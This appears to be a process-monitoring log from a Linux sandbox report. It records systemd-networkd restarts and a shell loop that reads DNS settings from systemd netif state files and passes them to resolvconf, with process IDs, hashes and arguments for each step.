systemd New Fork (PID: 10700, Parent: 1)

systemd-networkd (PID: 10700, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 10711, Parent: 1)

sh (PID: 10711, Parent: 1, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* | sort -u); [ -z \"$out\" ] || break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } | /sbin/resolvconf -a networkd"

sh New Fork (PID: 10713, Parent: 10711)

seq (PID: 10713, Parent: 10711, MD5: 329d74c7eda0c291d51557f6a23138da) Arguments: seq 30

sh New Fork (PID: 10715, Parent: 10711)

sh New Fork (PID: 10716, Parent: 10715)

sed (PID: 10716, Parent: 10715, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10717, Parent: 10715)

sort (PID: 10717, Parent: 10715, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10719, Parent: 10711)

sleep (PID: 10719, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10759, Parent: 10711)

sh New Fork (PID: 10760, Parent: 10759)

sed (PID: 10760, Parent: 10759, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10761, Parent: 10759)

sort (PID: 10761, Parent: 10759, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10765, Parent: 10711)

sleep (PID: 10765, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10787, Parent: 10711)

sh New Fork (PID: 10788, Parent: 10787)

sed (PID: 10788, Parent: 10787, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10789, Parent: 10787)

sort (PID: 10789, Parent: 10787, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10791, Parent: 10711)

sleep (PID: 10791, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10815, Parent: 10711)

sh New Fork (PID: 10816, Parent: 10815)

sed (PID: 10816, Parent: 10815, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10817, Parent: 10815)

sort (PID: 10817, Parent: 10815, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10818, Parent: 10711)

sleep (PID: 10818, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10835, Parent: 10711)

sh New Fork (PID: 10836, Parent: 10835)

sed (PID: 10836, Parent: 10835, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10837, Parent: 10835)

sort (PID: 10837, Parent: 10835, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10845, Parent: 10711)

sleep (PID: 10845, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10847, Parent: 10711)

sh New Fork (PID: 10848, Parent: 10847)

sed (PID: 10848, Parent: 10847, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10849, Parent: 10847)

sort (PID: 10849, Parent: 10847, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10856, Parent: 10711)

sleep (PID: 10856, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10859, Parent: 10711)

sh New Fork (PID: 10860, Parent: 10859)

sed (PID: 10860, Parent: 10859, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10861, Parent: 10859)

sort (PID: 10861, Parent: 10859, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10868, Parent: 10711)

sleep (PID: 10868, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10871, Parent: 10711)

sh New Fork (PID: 10872, Parent: 10871)

sed (PID: 10872, Parent: 10871, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10873, Parent: 10871)

sort (PID: 10873, Parent: 10871, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10886, Parent: 10711)

sleep (PID: 10886, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10899, Parent: 10711)

sh New Fork (PID: 10900, Parent: 10899)

sed (PID: 10900, Parent: 10899, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10901, Parent: 10899)

sort (PID: 10901, Parent: 10899, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10909, Parent: 10711)

sleep (PID: 10909, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10911, Parent: 10711)

sh New Fork (PID: 10912, Parent: 10911)

sed (PID: 10912, Parent: 10911, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10913, Parent: 10911)

sort (PID: 10913, Parent: 10911, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10926, Parent: 10711)

sleep (PID: 10926, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10931, Parent: 10711)

sh New Fork (PID: 10932, Parent: 10931)

sed (PID: 10932, Parent: 10931, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10933, Parent: 10931)

sort (PID: 10933, Parent: 10931, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10935, Parent: 10711)

sleep (PID: 10935, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10964, Parent: 10711)

sh New Fork (PID: 10965, Parent: 10964)

sed (PID: 10965, Parent: 10964, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10966, Parent: 10964)

sort (PID: 10966, Parent: 10964, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 10978, Parent: 10711)

sleep (PID: 10978, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 10984, Parent: 10711)

sh New Fork (PID: 10985, Parent: 10984)

sed (PID: 10985, Parent: 10984, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 10986, Parent: 10984)

sort (PID: 10986, Parent: 10984, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11000, Parent: 10711)

sleep (PID: 11000, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11016, Parent: 10711)

sh New Fork (PID: 11017, Parent: 11016)

sed (PID: 11017, Parent: 11016, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11018, Parent: 11016)

sort (PID: 11018, Parent: 11016, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11025, Parent: 10711)

sleep (PID: 11025, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11036, Parent: 10711)

sh New Fork (PID: 11037, Parent: 11036)

sed (PID: 11037, Parent: 11036, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11038, Parent: 11036)

sort (PID: 11038, Parent: 11036, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11048, Parent: 10711)

sleep (PID: 11048, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11064, Parent: 10711)

sh New Fork (PID: 11065, Parent: 11064)

sed (PID: 11065, Parent: 11064, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11066, Parent: 11064)

sort (PID: 11066, Parent: 11064, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11070, Parent: 10711)

sleep (PID: 11070, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11084, Parent: 10711)

sh New Fork (PID: 11085, Parent: 11084)

sed (PID: 11085, Parent: 11084, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11086, Parent: 11084)

sort (PID: 11086, Parent: 11084, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11093, Parent: 10711)

sleep (PID: 11093, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11104, Parent: 10711)

sh New Fork (PID: 11105, Parent: 11104)

sed (PID: 11105, Parent: 11104, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11106, Parent: 11104)

sort (PID: 11106, Parent: 11104, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11112, Parent: 10711)

sleep (PID: 11112, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11124, Parent: 10711)

sh New Fork (PID: 11125, Parent: 11124)

sed (PID: 11125, Parent: 11124, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11126, Parent: 11124)

sort (PID: 11126, Parent: 11124, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11131, Parent: 10711)

sleep (PID: 11131, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11136, Parent: 10711)

sh New Fork (PID: 11137, Parent: 11136)

sed (PID: 11137, Parent: 11136, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11138, Parent: 11136)

sort (PID: 11138, Parent: 11136, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11151, Parent: 10711)

sleep (PID: 11151, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11156, Parent: 10711)

sh New Fork (PID: 11157, Parent: 11156)

sed (PID: 11157, Parent: 11156, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11158, Parent: 11156)

sort (PID: 11158, Parent: 11156, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11169, Parent: 10711)

sleep (PID: 11169, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11176, Parent: 10711)

sh New Fork (PID: 11177, Parent: 11176)

sed (PID: 11177, Parent: 11176, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11178, Parent: 11176)

sort (PID: 11178, Parent: 11176, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11184, Parent: 10711)

sleep (PID: 11184, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11198, Parent: 10711)

sh New Fork (PID: 11199, Parent: 11198)

sed (PID: 11199, Parent: 11198, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11200, Parent: 11198)

sort (PID: 11200, Parent: 11198, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11206, Parent: 10711)

sleep (PID: 11206, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11218, Parent: 10711)

sh New Fork (PID: 11219, Parent: 11218)

sed (PID: 11219, Parent: 11218, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11220, Parent: 11218)

sort (PID: 11220, Parent: 11218, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11226, Parent: 10711)

sleep (PID: 11226, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11238, Parent: 10711)

sh New Fork (PID: 11239, Parent: 11238)

sed (PID: 11239, Parent: 11238, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11240, Parent: 11238)

sort (PID: 11240, Parent: 11238, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11251, Parent: 10711)

sleep (PID: 11251, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11274, Parent: 10711)

sh New Fork (PID: 11275, Parent: 11274)

sed (PID: 11275, Parent: 11274, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11276, Parent: 11274)

sort (PID: 11276, Parent: 11274, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11287, Parent: 10711)

sleep (PID: 11287, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11306, Parent: 10711)

sh New Fork (PID: 11307, Parent: 11306)

sed (PID: 11307, Parent: 11306, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11308, Parent: 11306)

sort (PID: 11308, Parent: 11306, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11309, Parent: 10711)

sleep (PID: 11309, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11318, Parent: 10711)

sh New Fork (PID: 11319, Parent: 11318)

sed (PID: 11319, Parent: 11318, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11320, Parent: 11318)

sort (PID: 11320, Parent: 11318, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11326, Parent: 10711)

sleep (PID: 11326, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11338, Parent: 10711)

sh New Fork (PID: 11339, Parent: 11338)

sed (PID: 11339, Parent: 11338, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11340, Parent: 11338)

sort (PID: 11340, Parent: 11338, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11347, Parent: 10711)

sleep (PID: 11347, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11350, Parent: 10711)

sh New Fork (PID: 11351, Parent: 11350)

sed (PID: 11351, Parent: 11350, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11352, Parent: 11350)

sort (PID: 11352, Parent: 11350, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11358, Parent: 10711)

sleep (PID: 11358, Parent: 10711, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11366, Parent: 10711)

sed (PID: 11366, Parent: 10711, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DOMAINS=/ { s/^.*=/search /; p}" /run/systemd/netif/state

sh New Fork (PID: 11367, Parent: 10711)

resolvconf (PID: 11367, Parent: 10711, MD5: 4e4ff2bfda7a6d18405a462937b63a2e) Arguments: /bin/sh /sbin/resolvconf -a networkd

resolvconf New Fork (PID: 11375, Parent: 11367)

mkdir (PID: 11375, Parent: 11367, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /run/resolvconf/interface

resolvconf New Fork (PID: 11377, Parent: 11367)

resolvconf New Fork (PID: 11378, Parent: 11377)

sed (PID: 11378, Parent: 11377, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/#.*$// -e s/[[:blank:]]\\+$// -e s/^[[:blank:]]\\+// -e "s/[[:blank:]]\\+/ /g" -e "/^nameserver/!b ENDOFCYCLE" -e "s/$/ /" -e "s/\$[:. ]\$0\\+/\\10/g" -e "s/\$[:. ]\$0\$[123456789abcdefABCDEF][[:xdigit:]]*\$/\\1\\2/g" -e "/::/b ENDOFCYCLE; s/ \$0[: ]\$\\+/ ::/" -e "/::/b ENDOFCYCLE; s/:\$0[: ]\$\\+/::/" -e ": ENDOFCYCLE" -

resolvconf New Fork (PID: 11379, Parent: 11377)

sed (PID: 11379, Parent: 11377, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/[[:blank:]]\\+$// -e /^$/d

systemd New Fork (PID: 10952, Parent: 1)

systemd-networkd (PID: 10952, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11005, Parent: 1)

systemd-networkd (PID: 11005, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11053, Parent: 1)

systemd-networkd (PID: 11053, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11263, Parent: 1)

systemd-networkd (PID: 11263, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11295, Parent: 1)

systemd-networkd (PID: 11295, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11382, Parent: 1)

systemd-networkd (PID: 11382, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 11393, Parent: 1)

sh (PID: 11393, Parent: 1, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* | sort -u); [ -z \"$out\" ] || break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } | /sbin/resolvconf -a networkd"

sh New Fork (PID: 11396, Parent: 11393)

seq (PID: 11396, Parent: 11393, MD5: 329d74c7eda0c291d51557f6a23138da) Arguments: seq 30

sh New Fork (PID: 11402, Parent: 11393)

sh New Fork (PID: 11403, Parent: 11402)

sed (PID: 11403, Parent: 11402, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11404, Parent: 11402)

sort (PID: 11404, Parent: 11402, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11408, Parent: 11393)

sleep (PID: 11408, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11409, Parent: 11393)

sh New Fork (PID: 11410, Parent: 11409)

sed (PID: 11410, Parent: 11409, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11411, Parent: 11409)

sort (PID: 11411, Parent: 11409, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11414, Parent: 11393)

sleep (PID: 11414, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11425, Parent: 11393)

sh New Fork (PID: 11426, Parent: 11425)

sed (PID: 11426, Parent: 11425, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11427, Parent: 11425)

sort (PID: 11427, Parent: 11425, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11432, Parent: 11393)

sleep (PID: 11432, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11433, Parent: 11393)

sh New Fork (PID: 11434, Parent: 11433)

sed (PID: 11434, Parent: 11433, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11435, Parent: 11433)

sort (PID: 11435, Parent: 11433, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11437, Parent: 11393)

sleep (PID: 11437, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11441, Parent: 11393)

sh New Fork (PID: 11442, Parent: 11441)

sed (PID: 11442, Parent: 11441, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11443, Parent: 11441)

sort (PID: 11443, Parent: 11441, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11448, Parent: 11393)

sleep (PID: 11448, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11449, Parent: 11393)

sh New Fork (PID: 11450, Parent: 11449)

sed (PID: 11450, Parent: 11449, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11451, Parent: 11449)

sort (PID: 11451, Parent: 11449, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11456, Parent: 11393)

sleep (PID: 11456, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11465, Parent: 11393)

sh New Fork (PID: 11466, Parent: 11465)

sed (PID: 11466, Parent: 11465, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11467, Parent: 11465)

sort (PID: 11467, Parent: 11465, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11468, Parent: 11393)

sleep (PID: 11468, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11477, Parent: 11393)

sh New Fork (PID: 11478, Parent: 11477)

sed (PID: 11478, Parent: 11477, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11479, Parent: 11477)

sort (PID: 11479, Parent: 11477, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11484, Parent: 11393)

sleep (PID: 11484, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11485, Parent: 11393)

sh New Fork (PID: 11486, Parent: 11485)

sed (PID: 11486, Parent: 11485, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11487, Parent: 11485)

sort (PID: 11487, Parent: 11485, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11496, Parent: 11393)

sleep (PID: 11496, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11501, Parent: 11393)

sh New Fork (PID: 11502, Parent: 11501)

sed (PID: 11502, Parent: 11501, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11503, Parent: 11501)

sort (PID: 11503, Parent: 11501, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11504, Parent: 11393)

sleep (PID: 11504, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11525, Parent: 11393)

sh New Fork (PID: 11526, Parent: 11525)

sed (PID: 11526, Parent: 11525, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 11527, Parent: 11525)

sort (PID: 11527, Parent: 11525, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 11528, Parent: 11393)

sleep (PID: 11528, Parent: 11393, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 11533, Parent: 11393)

sh New Fork (PID: 11534, Parent: 11533)

sed (PID: 11534, Parent: 11533, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

